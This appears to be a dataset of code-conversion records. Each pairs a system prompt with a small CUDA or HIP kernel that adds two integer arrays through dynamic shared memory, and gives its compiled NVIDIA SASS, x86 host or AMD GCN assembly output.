/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R2, R0, R13, c[0x0][0x160] ; /* 0x0000580000027625 */
/* 0x000fc800078e020d */
/*0090*/ IMAD.WIDE R4, R0.reuse, R13, c[0x0][0x168] ; /* 0x00005a0000047625 */
/* 0x040fe400078e020d */
/*00a0*/ LDG.E R3, [R2.64] ; /* 0x0000000402037981 */
/* 0x000ea8000c1e1900 */
/*00b0*/ LDG.E R4, [R4.64] ; /* 0x0000000404047981 */
/* 0x000ee2000c1e1900 */
/*00c0*/ SHF.L.U32 R6, R0, 0x2, RZ ; /* 0x0000000200067819 */
/* 0x000fca00000006ff */
/*00d0*/ IMAD R9, R13, c[0x0][0x178], R6 ; /* 0x00005e000d097a24 */
/* 0x000fe400078e0206 */
/*00e0*/ IMAD.WIDE R6, R0, R13, c[0x0][0x170] ; /* 0x00005c0000067625 */
/* 0x000fc800078e020d */
/*00f0*/ IMAD R8, R13, c[0x0][0x178], R9 ; /* 0x00005e000d087a24 */
/* 0x000fe200078e0209 */
/*0100*/ STS [R0.X4], R3 ; /* 0x0000000300007388 */
/* 0x004fe80000004800 */
/*0110*/ STS [R9], R4 ; /* 0x0000000409007388 */
/* 0x008fe80000000800 */
/*0120*/ LDS R11, [R0.X4] ; /* 0x00000000000b7984 */
/* 0x000e240000004800 */
/*0130*/ IADD3 R11, R4, R11, RZ ; /* 0x0000000b040b7210 */
/* 0x001fca0007ffe0ff */
/*0140*/ STG.E [R6.64], R11 ; /* 0x0000000b06007986 */
/* 0x000fe8000c101904 */
/*0150*/ STS [R8], R11 ; /* 0x0000000b08007388 */
/* 0x000fe20000000800 */
/*0160*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0170*/ BRA 0x170; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0180*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} | .file "tmpxft_00005c70_00000000-6_addTwoArraysSharedDynamic.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
.type _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i, @function
_Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i:
.LFB2051:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movl %ecx, 4(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z25addTwoArraysSharedDynamicPiS_S_i(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i, .-_Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.type _Z25addTwoArraysSharedDynamicPiS_S_i, @function
_Z25addTwoArraysSharedDynamicPiS_S_i:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z25addTwoArraysSharedDynamicPiS_S_i, .-_Z25addTwoArraysSharedDynamicPiS_S_i
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z25addTwoArraysSharedDynamicPiS_S_i"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z25addTwoArraysSharedDynamicPiS_S_i(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z25addTwoArraysSharedDynamicPiS_S_i
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.p2align 8
.type _Z25addTwoArraysSharedDynamicPiS_S_i,@function
_Z25addTwoArraysSharedDynamicPiS_S_i:
s_clause 0x1
s_load_b32 s3, s[0:1], 0x2c
s_load_b32 s2, s[0:1], 0x18
s_waitcnt lgkmcnt(0)
s_and_b32 s3, s3, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s3, v[0:1]
s_mov_b32 s3, exec_lo
v_cmpx_gt_i32_e64 s2, v1
s_cbranch_execz .LBB0_2
s_load_b128 s[4:7], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
s_lshl_b32 s2, s2, 2
s_load_b64 s[0:1], s[0:1], 0x10
s_add_i32 s3, s2, 0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[2:3], 2, v[1:2]
v_lshlrev_b32_e32 v1, 2, v1
s_waitcnt lgkmcnt(0)
v_add_co_u32 v4, vcc_lo, s4, v2
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v5, vcc_lo, s5, v3, vcc_lo
v_add_co_u32 v6, vcc_lo, s6, v2
v_add_co_ci_u32_e32 v7, vcc_lo, s7, v3, vcc_lo
global_load_b32 v0, v[4:5], off
global_load_b32 v4, v[6:7], off
v_add_nc_u32_e32 v5, 0, v1
v_add_nc_u32_e32 v6, s3, v1
s_waitcnt vmcnt(1)
ds_store_b32 v5, v0
s_waitcnt vmcnt(0)
ds_store_b32 v6, v4
ds_load_b32 v0, v5
v_add3_u32 v5, s3, s2, v1
s_waitcnt lgkmcnt(0)
v_add_nc_u32_e32 v4, v0, v4
v_add_co_u32 v0, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v3, vcc_lo
ds_store_b32 v5, v4
global_store_b32 v[0:1], v4, off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z25addTwoArraysSharedDynamicPiS_S_i
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 8
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z25addTwoArraysSharedDynamicPiS_S_i, .Lfunc_end0-_Z25addTwoArraysSharedDynamicPiS_S_i
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
- .offset: 152
.size: 4
.value_kind: hidden_dynamic_lds_size
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z25addTwoArraysSharedDynamicPiS_S_i
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z25addTwoArraysSharedDynamicPiS_S_i.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 8
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} | .text
.file "addTwoArraysSharedDynamic.hip"
.globl _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i # -- Begin function _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.p2align 4, 0x90
.type _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i,@function
_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i: # @_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movl %ecx, 4(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 4(%rsp), %rax
movq %rax, 104(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z25addTwoArraysSharedDynamicPiS_S_i, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i, .Lfunc_end0-_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z25addTwoArraysSharedDynamicPiS_S_i, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z25addTwoArraysSharedDynamicPiS_S_i,@object # @_Z25addTwoArraysSharedDynamicPiS_S_i
.section .rodata,"a",@progbits
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.p2align 3, 0x0
_Z25addTwoArraysSharedDynamicPiS_S_i:
.quad _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.size _Z25addTwoArraysSharedDynamicPiS_S_i, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z25addTwoArraysSharedDynamicPiS_S_i"
.size .L__unnamed_1, 37
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z25addTwoArraysSharedDynamicPiS_S_i
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z25addTwoArraysSharedDynamicPiS_S_i
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e240000002100 */
/*0030*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fca00078e0203 */
/*0040*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x178], PT ; /* 0x00005e0000007a0c */
/* 0x000fda0003f06270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R13, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0d7435 */
/* 0x000fe200000001ff */
/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R2, R0, R13, c[0x0][0x160] ; /* 0x0000580000027625 */
/* 0x000fc800078e020d */
/*0090*/ IMAD.WIDE R4, R0.reuse, R13, c[0x0][0x168] ; /* 0x00005a0000047625 */
/* 0x040fe400078e020d */
/*00a0*/ LDG.E R3, [R2.64] ; /* 0x0000000402037981 */
/* 0x000ea8000c1e1900 */
/*00b0*/ LDG.E R4, [R4.64] ; /* 0x0000000404047981 */
/* 0x000ee2000c1e1900 */
/*00c0*/ SHF.L.U32 R6, R0, 0x2, RZ ; /* 0x0000000200067819 */
/* 0x000fca00000006ff */
/*00d0*/ IMAD R9, R13, c[0x0][0x178], R6 ; /* 0x00005e000d097a24 */
/* 0x000fe400078e0206 */
/*00e0*/ IMAD.WIDE R6, R0, R13, c[0x0][0x170] ; /* 0x00005c0000067625 */
/* 0x000fc800078e020d */
/*00f0*/ IMAD R8, R13, c[0x0][0x178], R9 ; /* 0x00005e000d087a24 */
/* 0x000fe200078e0209 */
/*0100*/ STS [R0.X4], R3 ; /* 0x0000000300007388 */
/* 0x004fe80000004800 */
/*0110*/ STS [R9], R4 ; /* 0x0000000409007388 */
/* 0x008fe80000000800 */
/*0120*/ LDS R11, [R0.X4] ; /* 0x00000000000b7984 */
/* 0x000e240000004800 */
/*0130*/ IADD3 R11, R4, R11, RZ ; /* 0x0000000b040b7210 */
/* 0x001fca0007ffe0ff */
/*0140*/ STG.E [R6.64], R11 ; /* 0x0000000b06007986 */
/* 0x000fe8000c101904 */
/*0150*/ STS [R8], R11 ; /* 0x0000000b08007388 */
/* 0x000fe20000000800 */
/*0160*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0170*/ BRA 0x170; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0180*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z25addTwoArraysSharedDynamicPiS_S_i
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.p2align 8
.type _Z25addTwoArraysSharedDynamicPiS_S_i,@function
_Z25addTwoArraysSharedDynamicPiS_S_i:
s_clause 0x1
s_load_b32 s3, s[0:1], 0x2c
s_load_b32 s2, s[0:1], 0x18
s_waitcnt lgkmcnt(0)
s_and_b32 s3, s3, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s3, v[0:1]
s_mov_b32 s3, exec_lo
v_cmpx_gt_i32_e64 s2, v1
s_cbranch_execz .LBB0_2
s_load_b128 s[4:7], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
s_lshl_b32 s2, s2, 2
s_load_b64 s[0:1], s[0:1], 0x10
s_add_i32 s3, s2, 0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[2:3], 2, v[1:2]
v_lshlrev_b32_e32 v1, 2, v1
s_waitcnt lgkmcnt(0)
v_add_co_u32 v4, vcc_lo, s4, v2
s_delay_alu instid0(VALU_DEP_3)
v_add_co_ci_u32_e32 v5, vcc_lo, s5, v3, vcc_lo
v_add_co_u32 v6, vcc_lo, s6, v2
v_add_co_ci_u32_e32 v7, vcc_lo, s7, v3, vcc_lo
global_load_b32 v0, v[4:5], off
global_load_b32 v4, v[6:7], off
v_add_nc_u32_e32 v5, 0, v1
v_add_nc_u32_e32 v6, s3, v1
s_waitcnt vmcnt(1)
ds_store_b32 v5, v0
s_waitcnt vmcnt(0)
ds_store_b32 v6, v4
ds_load_b32 v0, v5
v_add3_u32 v5, s3, s2, v1
s_waitcnt lgkmcnt(0)
v_add_nc_u32_e32 v4, v0, v4
v_add_co_u32 v0, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v3, vcc_lo
ds_store_b32 v5, v4
global_store_b32 v[0:1], v4, off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z25addTwoArraysSharedDynamicPiS_S_i
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 8
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z25addTwoArraysSharedDynamicPiS_S_i, .Lfunc_end0-_Z25addTwoArraysSharedDynamicPiS_S_i
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
